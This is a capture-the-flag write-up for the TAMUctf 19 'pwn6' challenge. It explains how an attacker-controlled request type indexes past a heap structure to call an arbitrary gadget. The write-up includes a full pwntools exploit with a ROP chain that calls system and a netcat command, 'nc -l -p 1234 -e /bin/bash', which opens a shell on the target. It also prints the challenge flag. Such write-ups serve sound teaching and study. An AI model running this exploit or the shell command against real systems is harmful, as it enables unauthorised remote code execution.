Tags: pwn heap 

Rating:

# TAMUctf 19

## pwn6

## Information

**Category** | **Points** | **Solves** | **Writeup Author**
--- | --- | --- | ---
PWN | 500 | 35 | [merrychap](https://github.com/merrychap)

**Description:**

> Setup the VPN and use the client to connect to the server. The servers ip address on the vpn is 172.30.0.2. Difficulty: hard

**Files:**

[server](./server)

[client](./client)

## Initial information

It's quite interesting that we're given not only a server binary but a client. Apparently, there is some specific communication protocol between a client and a server.

Sadly, I lost both reversed binaries (don't solve CTFs in `/tmp` directory), so I will only describe the solution in general, without too specific code examples.

There is already [writeup](https://ctftime.org/writeup/13673) on this task from OpenToAll. They used format string bug to exploit the server. And I suppose many solutions were based on this bug. My solution doesn't use inner sqlite database and any of the designed functions, so I guess this solution would be an interesting approach to you to explore.

## Reversing client

Basically, the client connects to the specified server and can produce different designed functions as `check balance`, `create an account`, `create a user` and others. You decide which function to use.

Message from the client to the server looks like the following:

```
| 4 bytes | 4 bytes | arbitrary |
| payload length | request type | payload data |
```

To simplify the communication and throw away the client binary, we can write our own python client:

```python
def send_msg(pc, type, indata, size=None):
if size is None:
size = len(indata)

data = ''
data += p32(size)
data += p32(type)
data += indata

pc.send(data)
```

Now we're done with the client and can proceed to the server binary.

## Reversing server

This is a statically linked binary, so we have a lot of functions inside of it. Basically, it's a simple non-blocking socket server that handles connections and incoming data. The main function looks as follows:



The reason why I show you this function is the stack variable called `server`. This is a very important variable and contains a lot of information inside. In particular, it **contains our request** which will play an important role further.

Now let's take a look at the function that processes incoming data:



Looks creepy, right? And it really does :D

`incoming_info` is a structure that contains all the needed information about incoming data. In particular, it has handlers for various requests (do you remember `request_type` I talked about earlier?). So, the binary checks that there is a handler for this `req_type` and if it is, then it calls it. In general, it looks something like this:

```python
incoming_info[2 * (data.req_type + 4) + 4](server, incoming_info)
```

Also, `incoming_info` is on the heap and it's important too.

To summarize, the server gets a request, looks at `req_type` and calls correspond handler for this request.

## Exploitation

Alright, `incoming_info` is on the heap and `req_type` is an offset where the handler is placed. And we control `req_type`. So, we can specify some big number and go out of the `incoming_info` chunk. Let's explore the heap layout on the moment of checking handler existence.

We send `"A" * 0x4b0` as the data we want to be processed by the server.



- `rsi` is `incoming_info`
- `rcx` is our data



As you can see, our controlled input is below of `incoming_info`, and it gives us an opportunity to call one arbitrary function! This is cool, but we don't control `rdi` in a way to call `system("any command here")`. So, we need to control `rdi` somehow.

I hope you remember that our incoming data is stored on the stack as well (in `server` variable)



And my final idea was next:

- We have a statically linked binary which has a lot of different gadgets

- We can call one arbitrary function

- Our input is stored on the stack

So, having all of these, we can try to call gadget that will shift `rsp` to our controlled input and make ROP chain to put any string into `rdi` and call `system`. Yay, that's all folks.

That gadget will shift rsp to our controlled input on the stack.

```
0x0000000000409070 : add rsp, 0x58 ; ret
```

The main problem was to control rdi, so my ROP chain was a little bit tricky:

```python
payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \
p64(pop_rsi) + p64(0x870) + \
p64(sub_rax_rsi) + \
p64(push_rax_pop_rbx) + \
p64(pop_r12) + p64(pop_rax) + \
p64(mov_rdi_rbx_call_r12) + \
p64(system)
```

As long as `stdout` and `stderr` aren't dup into connecting socket, we need to open reverse shell. Since we control string for `system` it's not a problem at all.

The final exploit is next:

```python
from pwn import *

def send_msg(pc, type, indata, size=None):
if size is None:
size = len(indata)

data = ''
data += p32(size)
data += p32(type)
data += indata

pc.send(data)

def main():
system = 0x401A10

add_rsp = 0x409070

pops = 0x4021cc
mov_rax_r11_pop_pop_pop = 0x40a771
mov_rdi_rbp_call_rax = 0x421678
add_ebp_eax = 0x409267
pop_rax = 0x409073
push_rax_pop_rbx = 0x44f262
mov_rax_r13_pop_pop_pop = 0x40c80a

mov_rdi_rbx_call_r12 = 0x4a7f8c

add_rax_rdx = 0x40e7ed
sub_rax_rsi = 0x4096cf

pop_rsi = 0x401e89
pop_rdx = 0x4bb28e
pop_r12 = 0x402048

cmd = 'nc -l -p 1234 -e /bin/bash' + '\x00'

# pc = remote('127.0.0.1', 6210)
pc = remote('172.30.0.2', 6210)

payload = p64(mov_rax_r13_pop_pop_pop) + p64(0) + p64(0) + p64(0) + \
p64(pop_rsi) + p64(0x870) + \
p64(sub_rax_rsi) + \
p64(push_rax_pop_rbx) + \
p64(pop_r12) + p64(pop_rax) + \
p64(mov_rdi_rbx_call_r12) + \
p64(system)

send_msg(pc, 109, ('A' * 8) + 4 * p64(pops) + \
p64(add_rsp) + p64(0x41424344) + \
payload + cmd + \
'B' * (0x4b8 - len(payload) - len(cmd)), 0)

pc.interactive()

if __name__ == '__main__':
main()
```

## Flag

After running the exploit we just connect to the opened reverse shell and get our flag



> Flag: gigem{dbff08334bfc2ae509f83605e4285b0e}

## Little notes

I talked the to admin of this task and he said that this service was designed as a pwn playground and there were a lot of different vulns. But my way of exploitation doesn't use any of designed function and sqlite database. I hacked the way of communication between the client and the server. So, it was pretty cool and interesting challenge. Thanks to the admin!

And Konata picture as a reward for the stolen flag :D



Original writeup (https://github.com/merrychap/ctf-writeups/tree/master/2019/TAMUctf%2019/pwn6).